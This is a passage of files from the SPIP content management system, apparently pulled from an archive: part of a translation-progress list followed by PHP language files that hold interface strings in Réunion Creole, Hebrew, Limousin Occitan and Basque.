<langue code="oc_lnc" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_lnc" total="631" traduits="529" relire="0" modifs="28" nouveaux="74" pourcent="83.84">
</langue>
<langue code="oc_ni" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_ni" total="631" traduits="567" relire="0" modifs="2" nouveaux="62" pourcent="89.86">
<traducteur nom="Bastian" lien="http://trad.spip.net/auteur/bastian" />
</langue>
<langue code="oc_ni_la" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_ni_la" total="631" traduits="475" relire="0" modifs="24" nouveaux="132" pourcent="75.28">
</langue>
<langue code="oc_prv" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_prv" total="631" traduits="479" relire="0" modifs="24" nouveaux="128" pourcent="75.91">
</langue>
<langue code="oc_va" url="http://trad.spip.net/tradlang_module/spip?lang_cible=oc_va" total="631" traduits="475" relire="0" modifs="24" nouveaux="132" pourcent="75.28">
</langue>
<langue code="pl" url="http://trad.spip.net/tradlang_module/spip?lang_cible=pl" total="631" traduits="566" relire="0" modifs="27" nouveaux="38" pourcent="89.70">
<traducteur nom="Dominik Paszkiewicz" lien="http://trad.spip.net/auteur/dominik-pologne" />
</langue>
<langue code="pt" url="http://trad.spip.net/tradlang_module/spip?lang_cible=pt" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="Cláudia Anjos Lopes" lien="http://trad.spip.net/auteur/claudia_a_lopes" />
<traducteur nom="Fernando Ferreira" lien="http://trad.spip.net/auteur/fernando-ferreira" />
</langue>
<langue code="pt_br" url="http://trad.spip.net/tradlang_module/spip?lang_cible=pt_br" total="631" traduits="629" relire="0" modifs="0" nouveaux="2" pourcent="99.68">
<traducteur nom="joao1315" lien="http://trad.spip.net/auteur/joao1315" />
<traducteur nom="Ricardo Porto" lien="http://trad.spip.net/auteur/ricardo-porto" />
</langue>
<langue code="ro" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ro" total="631" traduits="615" relire="0" modifs="2" nouveaux="14" pourcent="97.46">
<traducteur nom="vmurariu" lien="http://trad.spip.net/auteur/vmurariu" />
</langue>
<langue code="roa" url="http://trad.spip.net/tradlang_module/spip?lang_cible=roa" total="631" traduits="519" relire="0" modifs="32" nouveaux="80" pourcent="82.25">
</langue>
<langue code="ru" url="http://trad.spip.net/tradlang_module/spip?lang_cible=ru" total="631" traduits="629" relire="0" modifs="0" nouveaux="2" pourcent="99.68">
<traducteur nom="Serge Markitanenko" lien="http://trad.spip.net/auteur/serge-markitanenko" />
</langue>
<langue code="sk" url="http://trad.spip.net/tradlang_module/spip?lang_cible=sk" total="631" traduits="631" relire="0" modifs="0" nouveaux="0" pourcent="100.00">
<traducteur nom="jaro" lien="http://trad.spip.net/auteur/jaro" />
</langue>
<langue code="sq" url="http://trad.spip.net/tradlang_module/spip?lang_cible=sq" total="631" traduits="470" relire="0" modifs="52" nouveaux="109" pourcent="74.48">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
<traducteur nom="minijack" lien="http://trad.spip.net/auteur/minijack" />
</langue>
<langue code="sv" url="http://trad.spip.net/tradlang_module/spip?lang_cible=sv" total="631" traduits="571" relire="0" modifs="26" nouveaux="34" pourcent="90.49">
</langue>
<langue code="tr" url="http://trad.spip.net/tradlang_module/spip?lang_cible=tr" total="631" traduits="545" relire="0" modifs="29" nouveaux="57" pourcent="86.37">
</langue>
<langue code="vi" url="http://trad.spip.net/tradlang_module/spip?lang_cible=vi" total="631" traduits="495" relire="0" modifs="50" nouveaux="86" pourcent="78.45">
</langue>
<langue code="wo" url="http://trad.spip.net/tradlang_module/spip?lang_cible=wo" total="631" traduits="427" relire="0" modifs="56" nouveaux="148" pourcent="67.67">
<traducteur nom="usufaati" lien="http://trad.spip.net/auteur/usufaati" />
</langue>
<langue code="zh" url="http://trad.spip.net/tradlang_module/spip?lang_cible=zh" total="631" traduits="476" relire="0" modifs="46" nouveaux="109" pourcent="75.44">
<traducteur nom="kent1" lien="http://trad.spip.net/auteur/kent1" />
</langue>
</traduction>
public_cpf.php 0000666 00000007306 15252547432 0007406 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=cpf
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Lakey lo sit', # MODIF
'articles' => 'Bann zartik',
'articles_auteur' => 'Bann zartik lotèr-la',
'articles_populaires' => 'Bann zartik sak lé pli popilèr',
'articles_rubrique' => 'Bann zartik andann ribrik-la',
'aucun_article' => 'Néna pa okinn lartik si ladrès-la',
'aucun_auteur' => 'Néna pa okinn lotèr si ladrès-la',
'aucun_site' => 'Néna pa okin sitwèb si ladrès-la',
'aucune_breve' => 'Néna pa okin titnouvèl si ladrès-la',
'aucune_rubrique' => 'Néna pa okinn ribrik si ladrès-la',
'autres_breves' => 'Bann zot tite-nouvèl',
'autres_groupes_mots_clefs' => 'Bann zot bann molaklé',
'autres_sites' => 'Bann zot sitwèb',
// B
'bonjour' => 'Oté',
// C
'commenter_site' => 'Donn out lavi si lo sit-la',
// D
'date' => 'Ladat',
'dernier_ajout' => 'Dernyé piblikasyon',
'dernieres_breves' => 'Bann derniyèr tit-nouvèl',
'derniers_articles' => 'Bann dèrnyé zartik',
'derniers_commentaires' => 'Bann dèrnyé lavi',
'derniers_messages_forum' => 'Bann dèrnyé modékri andann bann forom',
// E
'edition_mode_texte' => 'Po édité andann mod tèks',
'en_reponse' => 'Po réponn a :',
'en_resume' => 'Po rézimé',
'envoyer_message' => 'Po anvwayé inn modékri',
'espace_prive' => 'Léspas privé',
// H
'hierarchie_site' => 'Bardrin lo sitwèb',
// J
'jours' => 'bann zour',
// M
'meme_auteur' => 'Pa lotèr minm sa-minm',
'meme_rubrique' => 'Andan minm ribrik-la',
'memes_auteurs' => 'Po bann zotèr minm',
'message' => 'Modékri',
'messages_forum' => 'Bann modékri andann forom', # MODIF
'messages_recents' => 'Bann modékri la finn mèt an dernyé andan forom',
'mots_clefs' => 'Bann molaklé',
'mots_clefs_meme_groupe' => 'Bann molaklé andann lo minm bann sa-minm',
// N
'navigation' => 'Bat-karé si lo sit',
'nom' => 'Non',
'nouveautes' => 'Bann nouvèlté',
'nouveautes_web' => 'Bann nouvèlté si lo sitwèb',
'nouveaux_articles' => 'Bann nouvo lartik',
'nouvelles_breves' => 'Bann nouvèl tite-nouvèl',
// P
'page_precedente' => 'lapaz dovan',
'page_suivante' => 'Lapaz déyèr',
'par_auteur' => 'sanm',
'participer_site' => 'Ou pé mèt ansanm bann zot dalon po la vi lo sit-la, è propozé out prop bann zartik, si ou lé inskri anba-la. Inskri aou : ou sar gayn inn limèl i don aou out bann kodlaksé po léspas privé lo sit. ',
'plan_site' => 'Lakart lo sit',
'popularite' => 'Koman lé popilèr',
'poster_message' => 'Anvwa in modékri',
'proposer_site' => 'Ou pé propoz azout inn sit dann ribrik-la :',
// R
'repondre_article' => 'Po réponn si lartik-la',
'repondre_breve' => 'Po réponn la tite-nouvèl-la',
'resultats_recherche' => 'Kosa lo rodèr la finn trouvé',
'retour_debut_forums' => 'Artourn bann débi bann forom',
'rubrique' => 'Ribrik',
'rubriques' => 'Bann ribrik',
// S
'signatures_petition' => 'Bann sinyatir',
'site_realise_avec_spip' => 'Sit-la ni la fé èk SPIP',
'sites_web' => 'Bann sitwèb',
'sous_rubriques' => 'Bann souribrik',
'suite' => 'laswit',
'sur_web' => 'Si lo wèb',
'syndiquer_rubrique' => 'Po sindiké ribrik-la',
'syndiquer_site' => 'Po sindiké si lo sit',
// T
'texte_lettre_information' => 'Ala lalèt zinformasyon lo sit',
'texte_lettre_information_2' => 'Lèt-la i ramas tout bann zartik èk bann tite-nouvèl dopwi', # MODIF
// V
'ver_imprimer' => 'Vèrsyon pou inprimé',
'voir_en_ligne' => 'Anon vwar an liyn',
'voir_squelette' => 'Apiy po télésarz léskélet lapaz-la'
);
?>
public_he.php 0000666 00000010253 15252547432 0007225 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'ראשי', # MODIF
'articles' => 'מאמרים',
'articles_auteur' => 'מאמרים של אותו המחבר',
'articles_populaires' => 'המאמרים הפופולרים ביותר ',
'articles_rubrique' => 'המאמרים של המדור',
'aucun_article' => 'אין מאמר בכתובת זו',
'aucun_auteur' => 'אין מחבר בכתובת זו',
'aucun_site' => 'אין אתר בכתובת זו',
'aucune_breve' => 'אין מבזק בכתובת זו',
'aucune_rubrique' => 'אין מדור בכתובת זו',
'autres' => 'אחר',
'autres_breves' => 'מבזקים אחרים',
'autres_groupes_mots_clefs' => 'קבוצות אחרות של מילות מפתח',
'autres_sites' => 'אתרים אחרים',
// B
'bonjour' => 'שלום',
// C
'commenter_site' => 'הוספת תגובה לאתר',
'copie_document_impossible' => 'לא מצליח להעתיק מסמך',
// D
'date' => 'תאריך',
'dernier_ajout' => 'הוספה אחרונה',
'dernieres_breves' => 'מבזקים אחרונים',
'derniers_articles' => 'מאמרים אחרונים',
'derniers_commentaires' => 'תגובות אחרונות',
'derniers_messages_forum' => 'הודעות אחרונות בפורום',
// E
'edition_mode_texte' => 'הוצאה באורח טקסט של ',
'en_reponse' => 'בתגובה ל :',
'en_resume' => 'בסיכום',
'envoyer_message' => 'שלח הודעה',
'espace_prive' => 'אזור פרטי',
// F
'formats_acceptes' => 'פורמטים מקובלים: : @formats@.',
// H
'hierarchie_site' => 'מדרג האתר',
// J
'jours' => 'ימים',
// L
'lien_connecter' => 'כניסה',
// M
'meme_auteur' => 'מאת אותו המחבר',
'meme_rubrique' => 'באותו המדור',
'memes_auteurs' => 'מאת אותם המחברים',
'message' => 'הודעה',
'messages_forum' => 'הודעות הפורום', # MODIF
'messages_recents' => 'ההודעות החדשות בפורום',
'mots_clefs' => 'מילות מפתח',
'mots_clefs_meme_groupe' => 'מילות מפתח מאותה קבוצה',
// N
'navigation' => 'דפדוף',
'nom' => 'שם',
'nouveautes' => 'חדשות',
'nouveautes_web' => 'חדשות מן הרשת',
'nouveaux_articles' => 'מאמרים חדשים',
'nouvelles_breves' => 'מבזקים חדשים',
// P
'page_precedente' => 'לדף הקודם',
'page_suivante' => 'לדף הבא',
'par_auteur' => 'מאת',
'participer_site' => 'אפשר להשתתף לפורומים של האתר ולהציע מאמרים לפרסום אך ורק תהליך ההרשמה. הפרטים לכניסה יישלחו לך בדרך דוא"ל. ',
'plan_site' => 'מפת האתר',
'popularite' => 'פופולריות',
'poster_message' => 'הוספת הודעה',
'proposer_site' => 'ניתן לך להציע אתר להוספה במדור זה :',
// R
'repondre_article' => 'הוספת תגובה למאמר',
'repondre_breve' => 'הוספת תגובה למבזק',
'resultats_recherche' => 'תוצאות החיפוש',
'retour_debut_forums' => 'חזרה לדף הראשי של הפורומים',
'rubrique' => 'מדור',
'rubriques' => 'מדורים',
// S
'signatures_petition' => 'חתימות',
'site_realise_avec_spip' => 'האתר בנוי עם מערכת ניהול התוכן SPIP',
'sites_web' => 'אתרים ברשת',
'sous_rubriques' => 'מדורים משניים',
'spam' => 'דואר זבל',
'suite' => 'המשך',
'sur_web' => 'ברשת',
'syndiquer_rubrique' => 'איחוד למדור זה',
'syndiquer_site' => 'איחוד לאתר כולו',
// T
'texte_lettre_information' => 'להלן מכתב החדשות של האתר',
'texte_lettre_information_2' => 'מכתב זה כולל כל המאמרים והמבזקים שפורסמו מאז', # MODIF
// V
'ver_imprimer' => 'גירסה להדפסה',
'voir_en_ligne' => 'לתוכן מקוון',
'voir_squelette' => 'לראות את השלד של דף זה'
);
?>
public_oc_lms.php 0000666 00000006774 15252547432 0010122 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Acuelh dau sit', # MODIF
'articles' => 'Articles',
'articles_auteur' => 'Articles de quel autor',
'articles_populaires' => 'Los articles mai populars',
'articles_rubrique' => 'Articles de quela rubrica',
'aucun_article' => 'I a brisa d’article a quela adreça ',
'aucun_auteur' => 'I a brisa d’autor a quela adreça ',
'aucun_site' => 'I a brisa de sit a quela adreça ',
'aucune_breve' => 'I a brisa de breva a quela adreça ',
'aucune_rubrique' => 'I a brisa de rubrica a quela adreça ',
'autres_breves' => 'Autras brevas',
'autres_groupes_mots_clefs' => 'Autres grops de mots clau',
'autres_sites' => 'Autres sits',
// B
'bonjour' => 'Bonjorn',
// C
'commenter_site' => 'Comentar queu sit',
// D
'date' => 'Data',
'dernier_ajout' => 'Darrier apondon',
'dernieres_breves' => 'Darrieras brevas',
'derniers_articles' => 'Darriers articles',
'derniers_commentaires' => 'Darriers comentaris',
'derniers_messages_forum' => 'Darriers messatges publicats dins los forums',
// E
'edition_mode_texte' => 'Edicion en mòde text de',
'en_reponse' => 'En responsa a:',
'en_resume' => 'En resumit',
'envoyer_message' => 'Mandar un messatge',
'espace_prive' => 'Espaci privat',
// H
'hierarchie_site' => 'Ierarquia dau sit',
// J
'jours' => 'jorns',
// M
'meme_auteur' => 'Dau mesme autor',
'meme_rubrique' => 'Dins la mesma rubrica',
'memes_auteurs' => 'Daus mesmes autors',
'message' => 'Messatge',
'messages_forum' => 'Messatges de forum', # MODIF
'messages_recents' => 'Los messatges de forums mai recents',
'mots_clefs' => 'Mots clau',
'mots_clefs_meme_groupe' => 'Mots clau dins lo mesme grop',
// N
'navigation' => 'Navigacion',
'nom' => 'Nom',
'nouveautes' => 'Las novetats',
'nouveautes_web' => 'Novetats subre lo web',
'nouveaux_articles' => 'Articles nuòus',
'nouvelles_breves' => 'Brevas nuòvas',
// P
'page_precedente' => 'pagina precedenta',
'page_suivante' => 'pagina seguenta',
'par_auteur' => 'per ',
'participer_site' => 'Podetz participar a la vida de queu sit e prepausar los articles vòstres en vos inscriure çai jos. Recebretz còp sec un e-mail que vos indicará vòstres còdes per accedir a l’espaci privat dau sit.',
'plan_site' => 'Plan dau sit',
'popularite' => 'Popularitat',
'poster_message' => 'Postar un messatge',
'proposer_site' => 'Podetz prepausar un sit d’apondre a questa rubrica:',
// R
'repondre_article' => 'Respondre a quel article',
'repondre_breve' => 'Respondre a quela breva',
'resultats_recherche' => 'Resultats de la recercha',
'retour_debut_forums' => 'Retorn au començament daus forums',
'rubrique' => 'Rubrica',
'rubriques' => 'Rubricas',
// S
'signatures_petition' => 'Signaturas',
'site_realise_avec_spip' => 'Sit realizat emb SPIP',
'sites_web' => 'Sits web',
'sous_rubriques' => 'Sosrubricas',
'suite' => 'seguda',
'sur_web' => 'Subre lo web',
'syndiquer_rubrique' => 'Sindicar quela rubrica',
'syndiquer_site' => 'Sindicar tot lo sit',
// T
'texte_lettre_information' => 'Vaicí la letra d’informacion dau sit',
'texte_lettre_information_2' => 'Quela letra recensa los articles e brevas publicats dempuei', # MODIF
// V
'ver_imprimer' => 'Version d’estampar',
'voir_en_ligne' => 'Vesetz en linha'
);
?>
spip_eu.php 0000666 00000111041 15252547432 0006734 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-es',
'0_langue' => 'Euskara [eu]',
'0_liste' => 'info@interneteuskadi.org',
'0_mainteneur' => 'info@interneteuskadi.org',
// A
'access_interface_graphique' => 'Interfaz grafiko osora itzuli',
'access_mode_texte' => 'Testu moduan laburtutako interfazea erakutsi.',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Artikulu hau aldatu',
'admin_modifier_auteur' => 'Egile hau aldatu',
'admin_modifier_breve' => 'Aldatu berri labur hau',
'admin_modifier_mot' => 'Gako-hitz hau aldatu',
'admin_modifier_rubrique' => 'Atal hau aldatu',
'admin_recalculer' => 'Orrialde hau gaurkotu',
'afficher_calendrier' => 'Egutegia erakutsi',
'afficher_trad' => 'Itzulpenak afitxatu',
'alerte_maj_impossible' => 'Erne! SQL basea ezin da gaurkotu @bertsio@ bertsioan, datu-basea aldatzeko eskubide arazo bat dago, agian. Arren, jarri harremanetan zure ostatu-administratzailearekin.',
'alerte_modif_info_concourante' => 'KONTUZ : Informazio hau aldatua izan da bestalde. Gaurko balorea hau da :',
'analyse_xml' => 'XML analisia',
'annuler' => 'Ezeztatu',
'antispam_champ_vide' => 'Otoi, ez ezer ezarri eremu hunetan :',
'articles_recents' => 'Azken artikuluak',
'avis_archive_incorrect' => 'Artxibo-fitxategia ez da Spip motakoa.',
'avis_archive_invalide' => 'artxibo-fitxategia ez da zuzena',
'avis_attention' => 'Adi egon!',
'avis_champ_incorrect_type_objet' => '(@name@) eremu-izena ez da zuzena(@type@) objektu motarentzat',
'avis_colonne_inexistante' => 'Ez dago @col@ zutaberik',
'avis_erreur' => 'Errore: ikus beherago.',
'avis_erreur_connexion' => 'Konexio-errorea',
'avis_erreur_cookie' => 'cookie delakoaren arazoa',
'avis_erreur_fonction_contexte' => 'Programazio-errorea. Testu inguru honetan ez da funtzio hau deitu behar.',
'avis_erreur_mysql' => 'SQL errorea',
'avis_erreur_sauvegarde' => 'Errorea (@type@@id_objet@) ! babes-kopia egiterakoan. ',
'avis_erreur_visiteur' => 'Eremu pribatura sartzeko arazoa',
// B
'barre_a_accent_grave' => 'Azentu kamutsadun A maiuskula tartekatu',
'barre_aide' => 'Laburbide tipografikoak erabili itzazu testu formatuaren prozesua hobetzeko',
'barre_e_accent_aigu' => 'E batazentu-markadun E maiuskula',
'barre_eo' => 'E bat Oan sartu',
'barre_eo_maj' => 'E bat O maiuskulan sartu',
'barre_euro' => '€ ikurra sartu',
'barre_gras' => '{{Letra lodiz}} jarri',
'barre_guillemets' => '«Komatxo» artean jarri',
'barre_guillemets_simples' => 'Bigarren mailako komatxoen artean jarri',
'barre_intertitre' => '{{{Barne-izenburuan}}} eraldatu',
'barre_italic' => '{Letra Kurtsibaz} jarri',
'barre_lien' => '[Hipertestu lotura->http://...]-an eraldatu',
'barre_lien_input' => 'Zure lotura-helbidea adierazi. http://www.lekuhori.org/karpeta/ motako Web helbide bat adierazi dezakezu, edo gune honen artikulu baten zenbakia adieraztea ere balio du.',
'barre_note' => '[[Orrialde-oinaren oharra]] -an eraldatu',
'barre_paragraphe' => 'Pargrafo bat sortu',
'barre_quote' => '<quote>Mezu bat aipatu</quote>',
'bouton_changer' => 'Aldatu',
'bouton_chercher' => 'Bilatu',
'bouton_choisir' => 'Aukeratu',
'bouton_deplacer' => 'Lekuz aldatu',
'bouton_download' => 'Deskargatu',
'bouton_enregistrer' => 'Grabatu',
'bouton_radio_desactiver_messagerie_interne' => 'Barne mezularitza desaktibatu',
'bouton_radio_envoi_annonces' => 'Iragarki editorialak igorri ',
'bouton_radio_non_envoi_annonces' => 'Iragarkirik ez igorri',
'bouton_radio_non_envoi_liste_nouveautes' => 'Berrikuntzen zerrenda ez igorri',
'bouton_recharger_page' => 'Orrialde hau berriz kargatu',
'bouton_telecharger' => 'Telekargatu',
'bouton_upload' => 'Kargatu',
'bouton_valider' => 'Onartu',
// C
'cal_apresmidi' => 'arratsaldea',
'cal_jour_entier' => 'egun osoa',
'cal_matin' => 'goiza',
'cal_par_jour' => 'egutegia egunka',
'cal_par_mois' => 'egutegia hilabeteka',
'cal_par_semaine' => 'egutegia asteka',
'choix_couleur_interface' => 'Kolorea',
'choix_interface' => 'Interfazearen hautua',
'colonne' => 'Zutabe',
'confirm_changer_statut' => 'Kontuz, osagai honen egoera aldatzea eskatu duzu, jarraitu nahi al duzu?',
'correcte' => 'zuzena',
// D
'date_aujourdhui' => 'gaur',
'date_avant_jc' => 'aC',
'date_dans' => '@delai@-n',
'date_de_mois_1' => '@nommois@ren @j@a',
'date_de_mois_10' => '@nommois@ren @j@a',
'date_de_mois_11' => '@nommois@ren @j@a',
'date_de_mois_12' => '@nommois@ren @j@a',
'date_de_mois_2' => '@nommois@ren @j@a',
'date_de_mois_3' => '@nommois@ren @j@a',
'date_de_mois_4' => '@nommois@ren @j@a',
'date_de_mois_5' => '@nommois@ren @j@a',
'date_de_mois_6' => '@nommois@ren @j@a',
'date_de_mois_7' => '@nommois@ren @j@a',
'date_de_mois_8' => '@nommois@ren @j@a',
'date_de_mois_9' => '@nommois@ren @j@a',
'date_demain' => 'bihar',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@@heure@-etan',
'date_fmt_jour_heure_debut_fin' => '@jour@-an @heure_debut@-tik @heure_fin@-ra',
'date_fmt_jour_heure_debut_fin_abbr' => '@dtstart@@jour@-an @heure_debut@@dtabbr@-tik @dtstart@@heure_fin@@dtend@-ra',
'date_fmt_jour_mois' => '@nommois@ren @jour@a',
'date_fmt_jour_mois_annee' => '@annee@-ko @nommois@ren @jour@a',
'date_fmt_mois_annee' => '@annee@-ko @nommois@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@nomjour@ @date@-a',
'date_fmt_periode' => '@date_debut@-tik @date_fin@-ra',
'date_fmt_periode_abbr' => '@dtart@@date_debut@@dtabbr@-tik @dtend@@date_fin@@dtabbr@-ra',
'date_fmt_periode_from' => 'Noiztik',
'date_fmt_periode_to' => 'Nora',
'date_heures' => 'orduak',
'date_hier' => 'atzo',
'date_il_y_a' => 'orain dela @delai@',
'date_jnum1' => '1.',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Igandea',
'date_jour_1_abbr' => 'Ig',
'date_jour_1_initiale' => 'Ig',
'date_jour_2' => 'Astelehena',
'date_jour_2_abbr' => 'Al',
'date_jour_2_initiale' => 'Al',
'date_jour_3' => 'Asteartea',
'date_jour_3_abbr' => 'At',
'date_jour_3_initiale' => 'Az',
'date_jour_4' => 'Asteazkena',
'date_jour_4_abbr' => 'Az',
'date_jour_4_initiale' => 'Az',
'date_jour_5' => 'Osteguna',
'date_jour_5_abbr' => 'Os',
'date_jour_5_initiale' => 'Og',
'date_jour_6' => 'Ostirala',
'date_jour_6_abbr' => 'Ol',
'date_jour_6_initiale' => 'Ol',
'date_jour_7' => 'Larunbata',
'date_jour_7_abbr' => 'La',
'date_jour_7_initiale' => 'L',
'date_jours' => 'egunak',
'date_minutes' => 'minutuak',
'date_mois' => 'hilabeteak',
'date_mois_1' => 'urtarrila',
'date_mois_10' => 'urria',
'date_mois_10_abbr' => 'urr.',
'date_mois_11' => 'azaroa',
'date_mois_11_abbr' => 'aza.',
'date_mois_12' => 'abendua',
'date_mois_12_abbr' => 'abe.',
'date_mois_1_abbr' => 'urt.',
'date_mois_2' => 'otsaila',
'date_mois_2_abbr' => 'ots.',
'date_mois_3' => 'martxoa',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'apirila',
'date_mois_4_abbr' => 'api.',
'date_mois_5' => 'maiatza',
'date_mois_5_abbr' => 'mai.',
'date_mois_6' => 'ekaina',
'date_mois_6_abbr' => 'eka.',
'date_mois_7' => 'uztaila',
'date_mois_7_abbr' => 'uzt.',
'date_mois_8' => 'abuztua',
'date_mois_8_abbr' => 'abu.',
'date_mois_9' => 'iraila',
'date_mois_9_abbr' => 'ira.',
'date_saison_1' => 'negua',
'date_saison_2' => 'udaberria',
'date_saison_3' => 'uda',
'date_saison_4' => 'udazkena',
'date_secondes' => 'zegundu',
'date_semaines' => 'asteak',
'date_un_mois' => 'hilabete',
'date_une_heure' => 'oren',
'date_une_minute' => 'minutu',
'date_une_seconde' => 'segundu',
'date_une_semaine' => 'aste',
'dirs_commencer' => 'Atariko instalazioa hasi ',
'dirs_preliminaire' => 'Aurretik: <b>sarbide eskubideak arautu </b>',
'dirs_probleme_droits' => 'Sarbide eskubidearekiko arazoak',
'dirs_repertoires_absents' => 'Ezin izan dira hurrengo karpeta hauek aurkitu:@bad_dirs@.
Litekeena da letra larri eta xeheen arteko akats bat izatea.
Egiazta ezazu karpeta hauen izenen letra larri eta xeheak aurrekoarekin bat datozela;
hala ez bada, karpeten izena alda ezazu, zure FTP softwarea erabiliz.
Eragiketa hori egin eta gero, gauza izango zara',
'dirs_repertoires_suivants' => '<b>Hurrengo direktorioak ez dituzte idazteko eskubiderik :<ul>@bad_dirs@.</ul></b>
<p>Arazoa konpontzeko FTP bezero bat erabili beharko duzu lehen aipatu diren direktorioen sarbide
eskubideak arautzeko helburuz.
</p><p>Prozedura xehetasunez azaltzen da instalazio gidan. Behin prozedura bukatu ezkero, ahal duzu </p>',
'double_occurrence' => 'Okurenzi bikoitza',
// E
'en_cours' => 'Unekoan',
'envoi_via_le_site' => 'Gunearen bitartez egindako bidalpena',
'erreur' => 'Errorea',
'erreur_balise_non_fermee' => 'ez itxitako azken etiketa :',
'erreur_technique_enregistrement_champs' => 'Arazo tekniko batek @champs@ eremuaren grabaketa trabatu du.',
'erreur_technique_enregistrement_impossible' => 'Arazo tekniko batek grabaketa trabatu du.',
'erreur_texte' => 'errore',
'etape' => 'Etapa',
// F
'fichier_introuvable' => '@fichier@ aurkitzeko moduan ez dagoen artxiboa',
'form_auteur_confirmation' => 'Zure helbide elektronikoa baiezta ezazu',
'form_auteur_email_modifie' => 'Zure helbide elektronikoa aldatu da.',
'form_auteur_envoi_mail_confirmation' => 'Baieztapen e-maila bat bidalia izan da @email@ helbidera. Mezu hartan idatzitako helbidea bisitatu beharku duzu zure helbidea baieztatzeko.',
'form_auteur_mail_confirmation' => 'Agur,
Zure helbide elektronikoa aldatzea eskatu duzu.
Zure helbide berria baieztatzeko ondoko helbidea bisita ezazu.
(bestela zure galdea ez da kontutatan hartua izanen.) :
@url@
',
'form_deja_inscrit' => 'Inskribaturik zaude jadanik.',
'form_email_non_valide' => 'Posta elektronikoaren helbideak ez du balio.',
'form_forum_access_refuse' => 'Ezin zara gune honetan sartu dagoeneko.',
'form_forum_bonjour' => 'Kaixo @nom@,',
'form_forum_confirmer_email' => 'Zure helbide elektronikoa baieztatzeko, zoaz helbide noetara : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Dagoeneko, posta elektronikoaren helbide hau erregistraturik dago, beraz ohizko pasahitza erabili dezakezu.',
'form_forum_identifiant_mail' => 'Zure identifikadore berria posta elektonikoaren bidez igorri dugu.',
'form_forum_identifiants' => 'Identifikadore pertsonalak',
'form_forum_indiquer_nom_email' => 'Hemen idatz itzazu zure izena eta posta elektronikoaren helbidea. Zure identifikadore pertsonala berehala igorriko dizugu posta elektronikoaren bidez.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(Hau mezu automatikoa da)',
'form_forum_pass' => 'Pasahitza :',
'form_forum_probleme_mail' => 'Posta elektronikoarekiko arazoa: identifikadorea ezinda igorri.',
'form_forum_voici1' => 'Hona hemen zure identifikadoreak,"@nom_site_spip@" (@adresse_site@) gunearen foroetan parte hartzeko:',
'form_forum_voici2' => 'Hona hemen zure identifikadoreak, artikuluak ,"@nom_site_spip@" (@adresse_login@) gunean proposatzeko:',
'form_indiquer_email' => 'Zure posta elektronikoaren heldibea adierazi.',
'form_indiquer_nom' => 'Zure izena adierazi.',
'form_indiquer_nom_site' => 'Zure webgunearen izena adierazi.',
'form_pet_deja_enregistre' => 'Gune hau erregistraturik dago jadanik',
'form_pet_signature_pasprise' => 'Zure sinadura ez da kontuan hartua izan.',
'form_prop_confirmer_envoi' => 'Bidalketa baieztatu',
'form_prop_description' => 'Deskripzio/oharra',
'form_prop_enregistre' => 'Zure proposamena erregistraturik dago, gune honen arduradunek onartu ondoren agerian linean izango da.',
'form_prop_envoyer' => 'Mezu bat igorri',
'form_prop_indiquer_email' => 'Posta elektronikoaren helbide onargarri bat adieraz ezazu',
'form_prop_indiquer_nom_site' => 'Gunearen izena aipatu',
'form_prop_indiquer_sujet' => 'Gai bat aipatu',
'form_prop_message_envoye' => 'Mezua igorria',
'form_prop_non_enregistre' => 'Zure proposamena ez zen erregistratu.',
'form_prop_sujet' => 'Gai',
'form_prop_url_site' => 'Gunearen (URL) helbidea',
'forum_non_inscrit' => 'Ez zaude inskribaturik, edota emandako helbidea edo pasahitza ez dira zuzenak.',
'forum_par_auteur' => '@auteur@-k',
'forum_titre_erreur' => 'Errore...',
// I
'ical_texte_rss_articles' => 'Gune honetako artikuluen «backend» delako fitxategia hurrengo helbidean dago:',
